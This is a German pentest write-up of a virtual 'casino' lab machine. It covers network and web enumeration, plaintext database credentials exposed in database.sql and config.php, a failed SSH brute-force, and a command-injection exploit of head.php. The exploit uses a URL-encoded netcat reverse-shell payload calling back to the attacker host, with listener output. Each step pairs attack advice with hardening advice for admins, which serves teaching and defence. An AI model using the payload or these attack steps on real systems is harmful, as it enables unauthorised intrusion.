Interface: eth0, type: EN10MB, MAC: 08:00:...., IPv4: 192.168.2.137
192.168.2.113 08:00:27:46:bf:13 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Geräte im lokalen Netzwerksegment mittels ARP-Anfragen zu identifizieren. Es antwortet ein Gerät mit der IP-Adresse `192.168.2.113` und der MAC-Adresse `08:00:27:46:bf:13`.
Bewertung: Das Zielsystem wurde erfolgreich im Netzwerk identifiziert. Die MAC-Adresse (`08:00:27:...`) weist erneut auf eine VirtualBox-Umgebung hin (PCS Systemtechnik GmbH ist der OUI für VirtualBox).
Empfehlung (Pentester): Fügen Sie die IP-Adresse einem Hostnamen (z.B. `casino.hmv`) in der `/etc/hosts`-Datei hinzu, um die weitere Arbeit zu erleichtern. Führen Sie anschließend einen Portscan mit Nmap auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung auf ARP-Scans können die Aufklärungsphase erschweren. Dynamische ARP-Inspektion auf Switches kann helfen, ARP-basierte Angriffe zu verhindern.
127.0.0.1 localhost
192.168.2.113 casino.hmv
Analyse: Die Datei `/etc/hosts` auf dem Angreifer-System wird mit dem Texteditor `vi` bearbeitet. Der Eintrag `192.168.2.113 casino.hmv` wird hinzugefügt. Dies ermöglicht es, das Zielsystem fortan über den Hostnamen `casino.hmv` anstelle der IP-Adresse anzusprechen.
Bewertung: Eine sinnvolle Maßnahme zur Vereinfachung der weiteren Befehlseingabe und Lesbarkeit der Logs.
Empfehlung (Pentester): Verwenden Sie ab sofort den Hostnamen `casino.hmv` für Scans und Zugriffsversuche.
Empfehlung (Admin): Dies ist eine lokale Konfiguration auf dem Angreifer-System und hat keine direkten defensiven Implikationen für das Zielsystem.
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian))
Analyse: Ein Nmap-Scan wird auf das Ziel `192.168.2.113` durchgeführt. * `-sS`: TCP SYN Scan (Stealth Scan). * `-sC`: Führt Standard-Nmap-Skripte aus. * `-sV`: Versucht, die Version der laufenden Dienste zu ermitteln. * `-T5`: Sehr aggressives Timing für schnellen Scan. * `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute (entspricht `-O -sV -sC --traceroute`). * `-p-`: Scannt alle 65535 TCP-Ports. * `| grep open`: Filtert die Ausgabe, um nur offene Ports anzuzeigen. Der Scan identifiziert Port 22 (SSH) mit OpenSSH 9.2p1 und Port 80 (HTTP) mit Apache 2.4.57 als offen.
Bewertung: Der Scan war erfolgreich und zeigt die primären Angriffsvektoren: SSH und HTTP. Die Versionsinformationen sind nützlich für die Suche nach bekannten Schwachstellen.
Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 genauer (Web Enumeration). Überprüfen Sie die SSH-Konfiguration (z.B. erlaubte Authentifizierungsmethoden) und suchen Sie nach potenziellen Benutzernamen/Passwörtern.
Empfehlung (Admin): Halten Sie SSH-Server und Webserver aktuell. Konfigurieren Sie SSH sicher (z.B. Deaktivierung der Root-Anmeldung, Verwendung von Schlüssel-Authentifizierung statt Passwörtern). Implementieren Sie eine Firewall, um nur notwendige Ports freizugeben. Nutzen Sie IDS/IPS zur Erkennung aggressiver Scans.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-28 14:03 CEST Nmap scan report for casino.hmv (192.168.2.113) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) | ssh-hostkey: | 256 3b:20:d0:ba:e2:7a:8a:01:8a:35:3b:52:08:b0:c6:a8 (ECDSA) |_ 256 74:76:0a:61:d4:2c:9b:45:36:00:4d:c8:d8:be:0b:89 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: Binary Bet Casino |_http-server-header: Apache/2.4.57 (Debian) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set MAC Address: 08:00:27:46:BF:13 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms casino.hmv (192.168.2.113) Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds
Analyse: Dies ist der gleiche Nmap-Scan wie zuvor, jedoch ohne `| grep open`, sodass die vollständige Ausgabe der Nmap-Skripte (`-sC`, `-A`) sichtbar wird. * SSH (Port 22): Zeigt die Host-Schlüssel (ECDSA, ED25519). * HTTP (Port 80): * Titel der Webseite: "Binary Bet Casino". * Server-Header bestätigt Apache/2.4.57 (Debian). * Das `http-cookie-flags`-Skript stellt fest, dass das `PHPSESSID`-Cookie *nicht* das `HttpOnly`-Flag gesetzt hat. Dies macht das Cookie potenziell anfällig für Diebstahl durch Cross-Site-Scripting (XSS). * OS-Erkennung: Schätzt Linux Kernel 4.15 - 5.8.
Bewertung: Der Scan liefert zusätzliche Details. Die fehlende `HttpOnly`-Flagge ist eine geringfügige Schwachstelle, die in Kombination mit XSS relevant werden könnte. Die OS-Informationen bestätigen ein relativ modernes Linux-System.
Empfehlung (Pentester): Behalten Sie die fehlende `HttpOnly`-Flagge im Hinterkopf, falls XSS-Schwachstellen gefunden werden. Konzentrieren Sie sich auf die weitere Enumeration der Webanwendung.
Empfehlung (Admin): Setzen Sie das `HttpOnly`-Flag für alle Session-Cookies in der PHP-Konfiguration (`session.cookie_httponly = 1` in `php.ini`) oder Anwendungslogik, um das Risiko von Session-Hijacking durch XSS zu reduzieren.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.113 + Target Hostname: 192.168.2.113 + Target Port: 80 + Start Time: 2023-06-28 14:03:28 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /database.sql: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /config.php: PHP Config file may contain database IDs and passwords. + /imgs/: Directory indexing found. + /imgs/: This might be interesting. + /database.sql: Database SQL found. + /styles/: Directory indexing found. + 8101 requests: 0 error(s) and 10 item(s) reported on remote host + End Time: 2023-06-28 14:03:40 (GMT2) (12 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `nikto -h 192.168.2.113` führt einen Webserver-Scan durch, um nach bekannten Schwachstellen, Fehlkonfigurationen und interessanten Dateien/Verzeichnissen zu suchen. Wichtige Funde: * Bestätigt fehlende HTTP-Sicherheitsheader (`HttpOnly`, `X-Frame-Options`, `X-Content-Type-Options`). * **`/database.sql`:** Eine SQL-Datei, die wahrscheinlich Datenbankstruktur oder -daten enthält. Sehr kritisch! * **`/config.php`:** Eine PHP-Konfigurationsdatei, die oft Zugangsdaten enthält. Kritisch! * `/imgs/` und `/styles/`: Verzeichnisauflistung (Directory Indexing) ist aktiviert, was zusätzliche Informationen preisgeben kann.
Bewertung: Nikto hat extrem wertvolle Informationen geliefert. Die Dateien `/database.sql` und `/config.php` sind potenzielle Goldgruben für Zugangsdaten oder andere sensible Informationen. Die aktivierte Verzeichnisauflistung ist ebenfalls eine schlechte Praxis.
Empfehlung (Pentester): Laden Sie sofort den Inhalt von `/database.sql` und `/config.php` herunter und analysieren Sie ihn (z.B. mit `curl http://casino.hmv/database.sql`). Untersuchen Sie die Inhalte der Verzeichnisse `/imgs/` und `/styles/`.
Empfehlung (Admin): Entfernen Sie sensible Dateien wie `/database.sql` und `/config.php` aus dem Web-Root oder beschränken Sie den Zugriff darauf (z.B. über `.htaccess`). Deaktivieren Sie die Verzeichnisauflistung in der Apache-Konfiguration (`Options -Indexes`). Implementieren Sie die fehlenden HTTP-Sicherheitsheader (`Header set X-Frame-Options "SAMEORIGIN"`, `Header set X-Content-Type-Options "nosniff"`, `session.cookie_httponly = 1`).
CREATE USER 'casino_admin'@'localhost' IDENTIFIED BY 'IJustWantToBeRichBaby420';
CREATE DATABASE IF NOT EXISTS casino;
GRANT ALL PRIVILEGES ON casino.* TO 'casino_admin'@'localhost';
FLUSH PRIVILEGES;
USE casino;
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
user VARCHAR(50) NOT NULL,
pass VARCHAR(255) NOT NULL,
money INT UNSIGNED NOT NULL
);
Analyse: Der Befehl `curl` wird verwendet, um den Inhalt der von Nikto gefundenen Datei `/database.sql` herunterzuladen. Die Datei enthält SQL-Befehle.
Bewertung: Kritischer Fund! Die SQL-Datei enthält: * Die Anmeldedaten für einen MySQL-Benutzer: `casino_admin` mit dem Passwort `IJustWantToBeRichBaby420`. * Die Struktur der Datenbank `casino` und der Tabelle `users` (mit Spalten für `user`, `pass`, `money`). Obwohl der Benutzer `casino_admin` nur für Verbindungen von `localhost` konfiguriert ist, sind diese Zugangsdaten extrem wertvoll.
Empfehlung (Pentester): Versuchen Sie, sich mit diesen Zugangsdaten bei anderen Diensten anzumelden (z.B. SSH, falls Benutzer `casino_admin` existiert). Falls initialer Zugriff auf das System erlangt wird, verwenden Sie diese Zugangsdaten, um auf die lokale MySQL-Datenbank zuzugreifen.
Empfehlung (Admin): Entfernen Sie diese SQL-Datei sofort vom Webserver. Verwenden Sie starke, einzigartige Passwörter für Datenbankbenutzer. Beschränken Sie den Zugriff auf die Datenbank auf das Notwendigste. Erwägen Sie die Verwendung von Umgebungsvariablen oder sichereren Konfigurationsmanagement-Tools anstelle von Klartext-Passwörtern in Dateien.
Enter password: [Passwort IJustWantToBeRichBaby420 eingegeben] ERROR 2002 (HY000): Can't connect to server on 'casino.hmv' (115)
Analyse: Es wird versucht, sich von außen (vom Angreifer-System) mit dem MySQL-Client auf die Datenbank des Zielsystems (`casino.hmv`) zu verbinden. Dabei werden die zuvor in `database.sql` gefundenen Zugangsdaten (`casino_admin` und `IJustWantToBeRichBaby420`) verwendet.
Bewertung: Der Verbindungsversuch schlägt fehl (`ERROR 2002 (HY000): Can't connect to server`). Dies ist erwartet, da der SQL-Befehl `CREATE USER 'casino_admin'@'localhost'` den Zugriff für diesen Benutzer explizit auf Verbindungen von `localhost` (also vom Zielsystem selbst) beschränkt.
Empfehlung (Pentester): Der direkte externe Zugriff auf die Datenbank ist nicht möglich. Die Zugangsdaten sind jedoch weiterhin wertvoll für einen späteren Zugriff von innerhalb des Systems (nach Erlangung einer Shell).
Empfehlung (Admin): Die Konfiguration, den Datenbankzugriff auf `localhost` zu beschränken, ist eine gute Sicherheitspraxis. Stellen Sie sicher, dass der Datenbankdienst (Port 3306) nicht unnötig von außen erreichbar ist (Firewall).
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-28 14:07:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344404 login tries (l:1/p:14344404), ~224132 tries per task
[DATA] attacking ssh://casino.hmv:22/
[ERROR] target ssh://192.168.2.113:22/ does not support password authentication (method reply 4).
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-28 14:08:15
Analyse: Es wird versucht, mit `hydra` einen Brute-Force-Angriff auf den SSH-Dienst (Port 22) durchzuführen. Als Benutzername wird `casino_admin` (aus der `database.sql`) verwendet, und als Passwortliste dient `rockyou.txt`.
Bewertung: Der Angriff schlägt sofort fehl. Die Fehlermeldung `[ERROR] target ssh://192.168.2.113:22/ does not support password authentication` zeigt, dass der SSH-Server auf dem Zielsystem keine Passwort-Authentifizierung erlaubt. Wahrscheinlich ist nur Schlüssel-Authentifizierung aktiviert.
Empfehlung (Pentester): Brute-Force-Angriffe auf SSH mit Passwörtern sind hier sinnlos. Konzentrieren Sie sich auf die Webanwendung oder suchen Sie nach anderen Wegen, um SSH-Schlüssel oder gültige Benutzernamen zu finden.
Empfehlung (Admin): Die Deaktivierung der Passwort-Authentifizierung für SSH (`PasswordAuthentication no` in `/etc/ssh/sshd_config`) ist eine sehr gute Sicherheitspraxis und hat diesen Angriff verhindert. Stellen Sie sicher, dass dies konsistent durchgesetzt wird.
=============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://casino.hmv [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.5 [+] Expanded: true [+] Extensions: txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak [+] No error logging: true [+] Timeout: 10s =============================================================== 2023/06/28 15:55:01 Starting gobuster =============================================================== /index.php (Status: 200) [Size: 1138] /register.php (Status: 200) [Size: 1347] /template.html (Status: 200) [Size: 1170] /imgs (Status: 301) [Size: 307] [--> http://casino.hmv/imgs/] /database.sql (Status: 200) [Size: 363] /js (Status: 301) [Size: 305] [--> http://casino.hmv/js/] /logout.php (Status: 302) [Size: 0] [--> /index.php] /config.php (Status: 200) [Size: 0] /casino (Status: 301) [Size: 309] [--> http://casino.hmv/casino/] /styles (Status: 301) [Size: 309] [--> http://casino.hmv/styles/] /robots.txt (Status: 200) [Size: 12] /restricted.php (Status: 302) [Size: 0] [--> ../index.php] Progress: 220544 / 220561 (99.99%)=============================================================== 2023/06/28 15:58:33 Finished ===============================================================
Analyse: Ein `gobuster`-Scan wird durchgeführt, um Verzeichnisse und Dateien auf dem Webserver zu finden. Eine sehr lange Liste von Erweiterungen (`-x ...`) wird verwendet, und Statuscodes 403 (Forbidden) und 404 (Not Found) werden ignoriert (`-b '403,404'`). Wichtige Funde (teilweise schon durch Nikto bekannt): * `index.php`, `register.php`: Standardseiten, Login/Registrierung untersuchen. * `template.html`: Könnte Hinweise auf die Struktur geben. * `imgs`, `js`, `styles`: Verzeichnisse (bestätigt Verzeichnisauflistung). * `database.sql`, `config.php`: Bereits bekannte kritische Dateien. `config.php` wird hier mit Größe 0 gemeldet, was im Widerspruch zum späteren `cat`-Befehl steht - möglicherweise ein Fehler im Scan oder Timing-Problem. * `logout.php`: Standardfunktionalität. * `/casino`: Ein Unterverzeichnis, das weiter untersucht werden sollte. * `robots.txt`: Könnte Hinweise auf erlaubte/verbotene Pfade geben. * `restricted.php`: Name deutet auf Zugriffsbeschränkungen hin, leitet aber um.
Bewertung: Der Scan bestätigt frühere Funde und entdeckt zusätzliche Pfade wie `/casino` und `register.php`. Die Meldung `Size: 0` für `config.php` sollte mit Vorsicht genossen werden.
Empfehlung (Pentester): Untersuchen Sie das `/casino`-Verzeichnis und die Registrierungsfunktion (`register.php`). Laden Sie `robots.txt` herunter. Versuchen Sie trotz der Meldung `Size: 0`, `config.php` erneut mit `curl` abzurufen.
Empfehlung (Admin): Wie zuvor: Sensible Dateien entfernen/schützen, Verzeichnisauflistung deaktivieren. Überprüfen Sie die Notwendigkeit aller gefundenen Dateien und Verzeichnisse.
http://casino.hmv/casino/index.php (Status: 302) [Size: 0] [--> ../index.php] http://casino.hmv/casino/games (Status: 301) [Size: 315] [--> http://casino.hmv/casino/games/] http://casino.hmv/casino/games.php (Status: 302) [Size: 0] [--> ../index.php] http://casino.hmv/casino/head.php (Status: 302) [Size: 0] [--> ../index.php] http://casino.hmv/casino/instructions.txt
Analyse: Diese Ausgabe zeigt Ergebnisse aus dem Unterverzeichnis `/casino`. Viele Dateien leiten auf `../index.php` um, was auf eine Zugriffsbeschränkung (möglicherweise Session-basiert) hindeutet. Die Dateien `head.php` und `instructions.txt` werden gefunden.
Bewertung: `head.php` ist interessant, da PHP-Dateien oft Schwachstellen enthalten. `instructions.txt` könnte Informationen über die Funktionsweise der Anwendung liefern.
Empfehlung (Pentester): Laden Sie `instructions.txt` herunter. Untersuchen Sie `head.php` auf mögliche Schwachstellen (z.B. LFI, RCE), auch wenn sie umleitet (die Umleitung erfolgt möglicherweise erst nach der Verarbeitung von Parametern).
Empfehlung (Admin): Stellen Sie sicher, dass Zugriffsbeschränkungen korrekt implementiert sind und nicht umgangen werden können. Überprüfen Sie den Code von `head.php` auf Sicherheit.
_________________________________ WIN 10.000$ => WIN A TEDDY BEAR _________________________________ Intructions [sic] - CUPS The player tries to guess which of three cups hides a small ball. The cups are shuffled, and the player must select the correct one to win. The player wins or losess [sic] the same amount he bets. - GUN The player presses the "Shoot" button. There is a 1/6 chance of losing. In that case, the player's money is multiplied by 0.15. Otherwise, the player's money is multiplied by 1.5. - Dice The player places a bet on whether the value of the sum of two dice will be less than, equal to or greater than 7. ||====================================================================|| ||//$\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\//$\\|| ||(100)==================| FEDERAL RESERVE NOTE |================(100)|| ||\\$// ~ '------========--------' \\$//|| ||<< / /$\ // ____ \\ \ >>|| ||>>| 12 //L\\ // ///..) \\ L38036133B 12 |<<|| ||<<| \\ // || <|| >\ || |>>|| ||>>| \$/ || $$ --/ || One Hundred |<<|| ||<<| L38036133B *\\ |\_/ //* series |>>|| ||>>| 12 *\\/___\_//* 1989 |<<|| ||<<\ Treasurer ______/Franklin\________ Secretary 12 />>|| ||//$\ ~|UNITED STATES OF AMERICA|~ /$\\|| ||(100)=================== ONE HUNDRED DOLLARS =================(100)|| ||\\$//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\$//|| ||====================================================================||
Analyse: Der Inhalt der Datei `instructions.txt`. Sie beschreibt die Regeln für drei Spiele (Cups, Gun, Dice) und enthält ASCII-Art eines Geldscheins.
Bewertung: Bietet Kontext zur Webanwendung, aber keine direkten Hinweise auf Schwachstellen. Die Beschreibung des "Gun"-Spiels (Geld wird multipliziert) könnte auf logische Fehler oder Integer-Overflow-Schwachstellen hindeuten, falls man genug Geld gewinnen kann.
Empfehlung (Pentester): Behalten Sie die Spielmechanik im Hinterkopf, falls Sie sich später in die Anwendung einloggen können. Konzentrieren Sie sich vorerst auf das Finden einer initialen Zugriffsmöglichkeit.
Empfehlung (Admin): Sicherstellen, dass die Spiellogik serverseitig validiert wird und keine Manipulation oder unerwartetes Verhalten (wie Integer Overflows) möglich ist.
--2023-06-28 16:16:05-- http://casino.hmv/imgs/background.jpg Auflösen des Hostnamens casino.hmv (casino.hmv)… 192.168.2.113 Verbindungsaufbau zu casino.hmv (casino.hmv)|192.168.2.113|:80 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 22265 (22K) [image/jpeg] Wird in »background.jpg« gespeichert. background.jpg 100%[===========================>] 21,74K --.-KB/s in 0s 2023-06-28 16:16:05 (462 MB/s) - »background.jpg« gespeichert [22265/22265]
Analyse: Die Hintergrundbilddatei `background.jpg` aus dem `/imgs`-Verzeichnis wird heruntergeladen.
Bewertung: Standardaktion zur Untersuchung von Inhalten. Bilddateien können manchmal Metadaten oder versteckte Informationen enthalten.
Empfehlung (Pentester): Untersuchen Sie die heruntergeladene Datei mit Tools wie `exiftool` oder `strings` auf versteckte Informationen.
Empfehlung (Admin): Bereinigen Sie Metadaten aus öffentlich zugänglichen Bildern, falls diese sensible Informationen enthalten könnten.
ExifTool Version Number : 12.57 File Name : background.jpg Directory : . File Size : 22 kB File Modification Date/Time : 2023:06:09 13:49:54+02:00 File Access Date/Time : 2023:06:28 16:16:05+02:00 File Inode Change Date/Time : 2023:06:28 16:16:05+02:00 File Permissions : -rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Exif Byte Order : Little-endian (Intel, II) Modify Date : 2014:05:16 10:54:07 Image Width : 250 Image Height : 250 Encoding Process : Progressive DCT, Huffman coding Bits Per Sample : 8 Color Components : 1 Image Size : 250x250 Megapixels : 0.062
Analyse: `exiftool` wird verwendet, um die Metadaten der Datei `background.jpg` zu extrahieren.
Bewertung: Die Metadaten enthalten keine offensichtlich nützlichen oder versteckten Informationen (keine Kommentare, GPS-Daten, Copyright-Hinweise mit Benutzernamen etc.).
Empfehlung (Pentester): Die Datei scheint keine verwertbaren Informationen zu enthalten. Konzentrieren Sie sich auf andere Angriffsvektoren.
Empfehlung (Admin): Die Metadaten sind hier unbedenklich.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Jun 28 16:28:40 2023 URL_BASE: http://casino.hmv/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://casino.hmv/ ---- ==> DIRECTORY: http://casino.hmv/imgs/ + http://casino.hmv/index.php (CODE:200|SIZE:1138) ==> DIRECTORY: http://casino.hmv/js/ + http://casino.hmv/robots.txt (CODE:200|SIZE:12) + http://casino.hmv/server-status (CODE:403|SIZE:275) ==> DIRECTORY: http://casino.hmv/styles/ ---- Entering directory: http://casino.hmv/imgs/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://casino.hmv/js/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://casino.hmv/styles/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Wed Jun 28 16:28:43 2023 DOWNLOADED: 4612 - FOUND: 3
Analyse: Ein weiterer Verzeichnis-Scan wird mit `dirb` und der Standard-Wortliste `common.txt` durchgeführt. `dirb` prüft nur auf Verzeichnisse und einige Standarddateien.
Bewertung: Dieser Scan findet weniger als der vorherige `gobuster`-Scan, da er eine kleinere Wortliste verwendet und keine spezifischen Dateierweiterungen sucht. Er bestätigt die bereits bekannten Verzeichnisse (`imgs`, `js`, `styles`) und die `index.php` sowie `robots.txt`. Der Fund `server-status` (Code 403 Forbidden) ist interessant, deutet aber darauf hin, dass der Zugriff darauf (noch) nicht erlaubt ist.
Empfehlung (Pentester): Der `gobuster`-Scan war umfassender. Notieren Sie sich `/server-status` als potenzielles Ziel, falls später Zugriffsberechtigungen geändert werden oder eine Fehlkonfiguration gefunden wird.
Empfehlung (Admin): Beschränken Sie den Zugriff auf `/server-status` und `/server-info` in der Apache-Konfiguration auf vertrauenswürdige IP-Adressen oder deaktivieren Sie sie ganz, wenn nicht benötigt.
Kontext: Der folgende Abschnitt beschreibt die Ausnutzung einer Schwachstelle (vermutlich Local File Inclusion - LFI) in der Datei `/casino/head.php`, um eine Reverse Shell zu erhalten. Der genaue LFI-Parameter wird nicht gezeigt, aber die Payload deutet darauf hin, dass der `cmd`-Parameter zur Ausführung von Shell-Befehlen missbraucht wird, was eher auf Command Injection oder eine Webshell hindeutet, die über LFI inkludiert wird.
Payload: http://192.168.2.111/casino/head.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.137%205555%20%3E%2Ftmp%2Ff
Analyse der Payload-URL: * `http://192.168.2.111/casino/head.php`: Ziel-URL, die die verwundbare Datei `head.php` im Verzeichnis `/casino` anspricht. Die IP `192.168.2.111` ist hier wahrscheinlich ein Tippfehler und sollte `192.168.2.113` (casino.hmv) sein. * `?cmd=...`: Übergibt einen Befehl über den URL-Parameter `cmd`. * `rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.137%205555%20%3E%2Ftmp%2Ff`: Dies ist derselbe URL-kodierte Bash-Reverse-Shell-Payload wie im vorherigen Bericht, nur mit anderer Angreifer-IP (`192.168.2.137`) und anderem Port (`5555`). Dekodiert: `rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.2.137 5555 > /tmp/f`.
Bewertung: Dies beschreibt den Versuch, über eine Schwachstelle in `head.php` (vermutlich Command Injection oder LFI einer Webshell) eine Reverse Shell zu erlangen.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem Angreifer-System (`192.168.2.137`) auf Port `5555`. Rufen Sie die Payload-URL (mit korrigierter Ziel-IP `192.168.2.113`) auf, um die Shell auszulösen.
Empfehlung (Admin): Untersuchen Sie `head.php` dringend auf Command Injection oder LFI-Schwachstellen und beheben Sie diese. Validieren und sanitisieren Sie alle Benutzereingaben (insbesondere URL-Parameter). Implementieren Sie eine WAF.
listening on [any] 5555 ... connect to [192.168.2.137] from (UNKNOWN) [192.168.2.113] 59798 /bin/sh: 0: can't access tty; job control turned off $
Analyse: Auf dem Angreifer-System (`192.168.2.137`) wird ein Netcat-Listener auf Port `5555` gestartet. Kurz darauf geht eine Verbindung vom Zielsystem (`192.168.2.113`) ein. Eine einfache Shell (`$`) wird als Benutzer `www-data` (impliziert durch den Kontext und spätere Befehle) erhalten.
Bewertung: Initialer Zugriff erfolgreich! Die Schwachstelle in `head.php` wurde ausgenutzt, um eine Reverse Shell als Webserver-Benutzer (`www-data`) zu erlangen.
Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. `python3 -c 'import pty; pty.spawn("/bin/bash")'`). Beginnen Sie mit der Enumeration des Systems als `www-data`. Suchen Sie nach Konfigurationsdateien, Passwörtern und Wegen zur Privilegienerweiterung.
Empfehlung (Admin): Wie zuvor: Schwachstelle in `head.php` beheben. Egress-Filtering implementieren, um Reverse Shells zu blockieren. Berechtigungen des `www-data`-Benutzers minimieren.
$servername = "localhost";
$username = "casino_admin";
$password = "IJustWantToBeRichBaby420";
$dbname = "casino";
$conn = new mysqli($servername, $username, $password, $dbname);
// Verificar la conexión
if ($conn->connect_error) {
die("CACACULOPEDOPIS" . $conn->connect_error);
}
// Configurar el juego de caracteres
$conn->set_charset("utf8");
Analyse: Aus der erhaltenen Shell wird die Datei `config.php` im Web-Root-Verzeichnis (`/var/www/html`) ausgelesen. Diese Datei wurde zuvor von Nikto und Gobuster gefunden.
Bewertung: Bestätigt den Fund der Datenbank-Zugangsdaten (`casino_admin`:`IJustWantToBeRichBaby420`) nun direkt aus der Konfigurationsdatei. Dies bestätigt auch, dass der Gobuster-Scan bezüglich der Dateigröße (`Size: 0`) falsch lag.
Empfehlung (Pentester): Nutzen Sie diese Zugangsdaten, um auf die lokale MySQL-Datenbank zuzugreifen, wie bereits zuvor empfohlen.
Empfehlung (Admin): Speichern Sie Passwörter nicht im Klartext in Konfigurationsdateien im Web-Root. Nutzen Sie sicherere Methoden wie Umgebungsvariablen oder Konfigurationsmanagement-Systeme.
Ziel: Demonstration, wie eine Schwachstelle in der Datei `/casino/head.php` (vermutlich Command Injection oder LFI einer Webshell über den `cmd`-Parameter) ausgenutzt werden kann, um eine Reverse Shell als Benutzer `www-data` zu erlangen.
Voraussetzungen: * Netzwerkzugriff auf den Webserver (Port 80). * Kenntnis der verwundbaren Datei (`/casino/head.php`) und des Parameters (`cmd`). * Ein Angreifer-System im selben Netzwerk (`192.168.2.137`), auf dem ein Listener gestartet werden kann. * Tools: Netcat (`nc`), Webbrowser oder `curl`.
Risiko: Hoch. Die Schwachstelle erlaubt die Ausführung beliebiger Befehle als Webserver-Benutzer (`www-data`), was zu einem vollständigen Kompromittierung des Webservers und potenziell des gesamten Systems führen kann.
Schritt 1: Listener starten
listening on [any] 5555 ...
Analyse: Auf dem Angreifer-System (IP: 192.168.2.137) wird ein Netcat-Listener auf Port 5555 gestartet, um die eingehende Reverse-Shell-Verbindung zu empfangen.
Schritt 2: Payload senden
http://192.168.2.113/casino/head.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.137%205555%20%3E%2Ftmp%2Ff
Analyse: Diese URL wird aufgerufen. Sie zielt auf die verwundbare Datei `head.php` auf dem Zielsystem (`192.168.2.113`). Der `cmd`-Parameter enthält den URL-kodierten Payload für die Bash-Reverse-Shell, die sich zurück zum Listener auf `192.168.2.137:5555` verbindet.
Schritt 3: Verbindung empfangen
listening on [any] 5555 ... connect to [192.168.2.137] from (UNKNOWN) [192.168.2.113] 59798 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ergebnis: Der Netcat-Listener zeigt die eingehende Verbindung vom Zielsystem. Eine Shell wird bereitgestellt. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `www-data` läuft.
Bewertung: Der Proof of Concept demonstriert erfolgreich, wie die Schwachstelle in `head.php` zur Erlangung einer Shell als `www-data` ausgenutzt werden kann.
